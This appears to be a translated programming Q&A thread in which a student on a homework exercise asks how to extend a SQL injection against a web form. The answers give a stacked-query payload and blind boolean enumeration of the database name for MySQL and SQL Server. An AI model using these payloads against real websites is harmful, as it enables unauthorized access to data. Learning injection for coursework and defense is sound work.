【问题标题】:SQL Injection - MYSQLSQL 注入 - MYSQL
【发布时间】:2017-12-15 17:45:38
【问题描述】:

我正在做一个关于 SQL 注入的练习,给出了查询。数据介于“”之间。所以这是查询:

select * from contacts where name = ''

我设法使用这个来查看表中的用户:

select * from contacts where name = 'anything' or 1='1'

但我的问题是如何编写它以便编写新查询?或者例如查看数据库名称,以便我可以检查其他表。

编辑:

为避免混淆查询没有提供给我们,网页上有一个文本字段,这就是我们用来进行 SQL 注入的内容。

所以想象一下查询是这样的:

select * from contacts where name = ''

我把它写到文本字段中,以查看所有用户。

anything' or 1='1

我正在尝试了解如何使用此文本字段、查看数据库名称或运行其他查询。

谢谢。

【问题讨论】:

  • 您对结果的看法如何?你是直接在sql中运行查询吗?
  • 我在网页上看到了结果。最初我对查询一无所知,但由于这是一个家庭作业,它正在向我们展示。有一个文本字段,您可以在其中插入我在文本字段中写入的名称(anything' 或 1='1 )以查看所有用户。 @clinomaniac
  • 页面是用什么语言编写的?研究使用参数。它看起来像 select * from contacts where name = ?然后你会传入这个值。
  • @clinomaniac 可能是 PHP 和 MYSQL。您可以查看我对帖子的编辑,也许这会让您更好地理解。
  • 您是否正在尝试进行 SQL 注入并从数据库中获取更多信息?我以为你在问如何编写查询以避免 sql 注入。

标签: mysql sql code-injection


【解决方案1】:

所以如果查询是:

select * from contacts where name = ''

你可以试试这样的:

'; select * from anotherTableName'

【讨论】:

    【解决方案2】:

    如果您的数据没有返回多结果集,那么您可以这样做:

    在 SQL Server 中

    SELECT  * FROM Contact WHERE LastName='o_O' OR CHARINDEX('A',DB_NAME())=1
    SELECT  * FROM Contact WHERE LastName='o_O' OR CHARINDEX('A',DB_NAME())=2
    SELECT  * FROM Contact WHERE LastName='o_O' OR CHARINDEX('A',DB_NAME())=3
    ...
    

    直到您获得名称中字符的所有正确索引。

    在 MySQL 中是这样的:

    SELECT  * FROM Contact WHERE LastName='o_O' OR INSTR(DATABASE(),'A') =1
    SELECT  * FROM Contact WHERE LastName='o_O' OR INSTR(DATABASE(),'A') =2
    SELECT  * FROM Contact WHERE LastName='o_O' OR INSTR(DATABASE(),'A') =3
    ...
    

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 2013-02-27
      • 2021-12-20
      • 1970-01-01
      • 1970-01-01
      • 2011-11-03
      • 2020-02-10
      • 2018-07-19
      • 1970-01-01
      相关资源
      最近更新 更多